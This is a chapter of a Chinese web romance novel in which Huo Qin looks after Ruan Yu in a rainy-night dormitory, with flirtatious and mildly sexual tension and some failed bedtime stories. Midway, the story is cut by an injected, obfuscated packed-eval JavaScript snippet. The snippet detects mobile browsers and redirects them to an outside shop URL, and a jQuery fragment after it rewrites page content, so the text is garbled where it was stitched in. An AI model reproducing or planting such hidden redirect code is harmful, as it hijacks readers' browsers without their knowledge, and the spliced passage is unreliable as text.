到宿舍的时候雨已经下大了,被霍秦罩着的阮聿没什么事,倒是霍秦的半边身子都被淋湿了,他顾不上管自己,翻出了刚买的“热得快”看说明书,他没用过这玩意儿。
霍秦对这个时代生产的东西极其不信任,尤其还是在县城小卖店买的,谁知道会不会是盗版,不放心阮聿一个人烧热水,洗澡浴室会潮湿,他怕会出意外。
没收了浴室的香皂怕阮聿自己洗衣服,霍秦哄道:“冷吗?先去洗个澡,衣服放那感冒不要碰冷水,重新烧起来会很难受,听话。”
阮聿看着桌上的香皂,手里是霍秦塞给他的小包沐浴露,一种很奇怪的感觉从手心往上爬:霍秦没什么钱自己用的香皂,专门给他买最贵的沐浴露。
……
阮聿心里很乱,说不上来是感动还是什么:“……我用香皂就好了。”
“香皂我直接抹身上的,你也要用吗?”
明明用词都很正常,但霍秦说这话的时候,薄唇勾得特别不正经,好像在只有两个人的密闭空间里,霍秦的态度就会变得好缱绻,让人心惊肉跳的。
阮聿视线不自觉地下移,又触电般移开。
“去洗澡。”霍秦遮掩异常地蹲下,试了试桶里的水温,水不够,他叮嘱道,“水重新烧好了我会放门口,自己拿的时候小心不要滑倒了。”
“不要碰冷水,不听话的宝宝是要被惩罚的,听到了吗?”
浴室里,阮聿盯着波光粼粼的水面神游,不知道是不是他的错觉,他总觉得能隔着水声听到门外霍秦的呼吸,粗重又断断续续的。
“叩叩——”两声轻响,阮聿被惊得一哆嗦。
霍秦的声音很低又很啰嗦,不厌其烦地叮嘱和阮聿他爸好像:“水我放门口了,拿的时候小心不要滑倒了,宝宝随便洗一下就好,别着凉了。”
阮聿洗好出去的时候霍秦正在脱衣服,安顿好阮聿他终于开始打理起了自己。
昏暗光线下,霍秦撩衣服的动作很慵懒随性,雨滴挂在他身上留下了亮晶晶的水痕,随着抬手的动作肌肉在耸动,块垒分明的腹肌一缩,斜斜向下仿佛指引勾人往里看的人鱼线也跟着一动。
裤子被雨淋成了深色,正被霍秦青筋拓印的手掌扯着,只褪了一半不到,露出了里面浅灰色的轮廓,布料被很满的撑着,让人牙酸的野性扑面而来。
两个人对上视线都愣了一瞬,阮聿呼吸骤停,后背炸起一片战栗,一动不敢动。
“抱歉……被雨淋湿了黏身上有些难受。”霍秦的声音沙哑磨耳,他极其自然地又给穿上了,裤头随意地扣了一下,招呼道,“洗好了?吃点东西吧。”
霍秦没穿上衣,很危险的雄性气息不加遮掩,阮聿不自在地别过头,连耳后都泛着浅粉色。
怎么这么可爱,霍秦失笑,都还没坦诚相见就这样了,真见面了不得烫蒸发了?
好爽,霍秦喉结滚了一下,被宝宝看得好爽,尤其是宝宝刚洗好澡,柔软又香香的,氛围简直暧昧得过分。
阮聿有些同手同脚地坐到椅子上,霍秦草草把湿衣服套回去,从保温袋里把吃的拿出来,又叮嘱道:“喉咙不舒服红薯不能吃太多,尝尝就好,饿了我再去买其他的,嗯?”
阮聿受不了这么羞耻的氛围,故意煞风景地开口说:“你好啰嗦,和我爸好像。”
阮聿父亲在家也是个心细话多的,每天有操不完心,在他爸看来,阮聿妈妈就是个衣服都晒不好的笨蛋,只适合教教书和学生聊聊天,家务什么的简直碰都不要碰。
原以为这话说了气氛会正常一点,结果霍秦意味不明地笑了一声,气氛好像更浓稠了。
只知道读书的乖宝宝哪里知道爸爸还有另外一种,更刺激的,霍秦嘴唇一张,想逗阮聿哄他喊daddy,但阮聿脸红得明显受不了了,还是得一步步慢慢来。
他深呼吸嗓音粗重:“那daddy说红薯不可以多吃,听话?”
……霍秦这人真的!真的!感觉什么东西从霍秦嘴里说出来都能变味,阮聿受不了了,忍了半天才开口:“你能不能不说话了?”
霍秦被阮聿逗笑了,双手举着做投降状,讨饶似的哄:“好,不说话了,哪里不舒服要说,我去洗一下,这身黏糊糊的。”
阮聿感觉自己被气到了,不想搭理霍秦,浴室门一关,他抬眼扫视了一下周围,没看到回来时用的伞。
不知道被霍秦放哪去了。
阮聿脱下手腕上的表,把它和钱一起藏在了床头,他一直睡在靠墙的地方,霍秦应该没那么快发现。
这个澡霍秦洗了很久,阮聿刻意不去听浴室里的水声,红薯烤得很香,用报纸包了还温着,扒开外皮还会流出蜜一样的油,口感松软甜糯,阮聿忍不住吃了三分之一,又很克制地停手。
好香好甜但是不能吃太多。
阮聿眼睛盯着蜜薯,嘴里嚼着雪梨,霍秦洗完出来,看到的就是对红薯目露不舍的阮聿。
怎么这么可爱,外表待人都清清冷冷的,吃到好吃眼神会很明显的亮起来,又很克制心里有数。
晚上睡觉的时候雨停了,但窗户被风扑得吱嘎响,萧瑟潮湿的冷风从缝里钻进来,湿冷的仿佛不是环境,而是从人的骨头缝里爬满全身。
缩在毛毯里的阮聿悄悄转过身,霍秦还是这么直挺挺的躺着,什么也不盖,看着既落魄又可怜。
“你不盖被子吗?”
霍秦也转过身和阮聿面对面,挑着眉故意问:“你要分我一半?”
“……我说的是地上那张。”
真是防备心重的小蛋卷,霍秦也没多失望,手肘曲着枕在耳下,回答道:“不知道是谁的,脏。”
……不是霍秦的吗?阮聿有些意外,转念又想,这屋里看着也没什么生活痕迹,霍秦是不是刚搬过来。
“睡不着吗?”霍秦见阮聿一直盯着自己发呆,毛毯盖过了他的半张脸,露出了那双水润的眸子,美人的冷被绒毛覆盖,只剩带着关切的温暖。
这样躺床上和人低声耳语,让霍秦心里升腾起一种别样的温馨。
“睡不着我给你讲睡前故事?”
霍秦真把他当小孩吗,还要讲睡前故事,阮聿没有掩藏自己的在意,轻声问:“你为什么对我这么好?”
“想知道?”霍秦见阮聿是真的好奇,眼睛都不自觉地睁大了,故意顿住不说,勾着很混蛋的笑,神神秘秘地闭了嘴,“那先听睡前故事。”
不让他说话的时候话这么多,让他说话又不说了,阮聿气得转过了身。
身后传来了很闷的轻笑:“你听说过霸道总裁爱上我的故事吗?”
千禧年县城
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269935|197599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还不流行这个,阮聿没听说过,他有些好奇,霸道他知道,总裁似乎也能猜到,霍秦问这个做什么?
“霸道总裁就是开公司的有钱人,通常出现在追小白花的故事里。”霍秦说到这就停住了,不是他故意要逗阮聿,主要是江宇挑剧本的时候就说了这么多,剩下的怎么你追我逃怎么插翅难飞,江宇没讲。
霍秦自己不看这些,他也补不出来。
空气安静了几秒。
……然后呢?世界上怎么会有霍秦这么混蛋的人啊,说话又说一半!阮聿只觉得霍秦又是故意不告诉他。
果然下一秒霍秦就跳转了话题:“我给你讲讲另一个版本吧,霸道保姆的故事。”
“有钱的能叫霸道总裁,没钱只能非要照顾雇主,霸道保姆强制爱的故事。”
阮聿冷淡地嗯了一声,示意自己在听。
结果又没了。
……
什么故事只有标题没有故事,发展呢?
阮聿转了回去,他盯着霍秦,好奇地主动开口问了:“然后呢?”
然后?然后霍秦也不知道啊,第一次给人讲睡前故事非但没把人哄睡着,还疑似把人哄生气了。
霍秦想了想,补充道:“然后,职场里一般叫拿钱办事,混社会什么都干的一般叫当狗。”
阮聿一般不评价别人的不好,但他双眼一闭,说道:“……你讲故事讲得好烂。”
霍秦发出了一声很短促的笑,心痒痒很想亲阮聿,他说:“第一次给人讲故事,担待一下,那我再给你讲一个。”
阮聿闭着眼没搭理,他要睡了,霍秦讲故事纯粹是觉得他睡得太好,要报复让人抓心挠肝来的。
“古时候进京赶考路遇同乡,听闻同乡得贵人赏识,在大人物手底下谋差事,你好奇地恭维问他做了什么大官,他呵呵一笑。”
这回有情节了,阮聿眼睛睁开了一条缝,所以是什么官?
“他说,当大狗狗,你恍然大悟:是狼。”
说完霍秦自己笑了一下。
阮聿:?
他笑什么,侍郎怎么了?
期待期待白期待,这莫名其妙的对话和睡前故事,和霍秦有十几二十年代沟的阮聿get不到霍秦的笑点,他绷着脸,将毛毯拉高,以示自己要睡了拒绝交流。
霍秦盯着阮聿把自己裹得像只蚕蛹,眼底全是笑意,他第一次知道这样并排躺着说些毫无意义的话,会这么温馨,灵魂像是泡在了温泉里,许多燥意都被抚平,如果这些发生在事后,现在能亲他,能和他做就更好了。
空气重归寂静,安静下来心脏跳动的声音会格外明显,耳膜在鼓动,阮聿咀嚼了一下霍秦说的那几个故事,他其实知道这些不是在东拉西扯。
很像偷东西前还要给预告的小偷,绅士的危险的,让人睡不着会拿出来解读的。
阮聿正在沉思,没人的隔壁突然传来了很响的关门声,隔着薄薄的墙,对方似乎知道这栋楼没什么人,说话毫不遮掩很大声。
“嗯,用点力,这么久不来找我,死鬼,哈……”
阮聿刚听到一些断断续续的呻吟,都还来不及脸红,就被霍秦捂住了耳朵。
“睡吧。”
他听不清霍秦在说什么。
只能听清自己的心跳声,很快。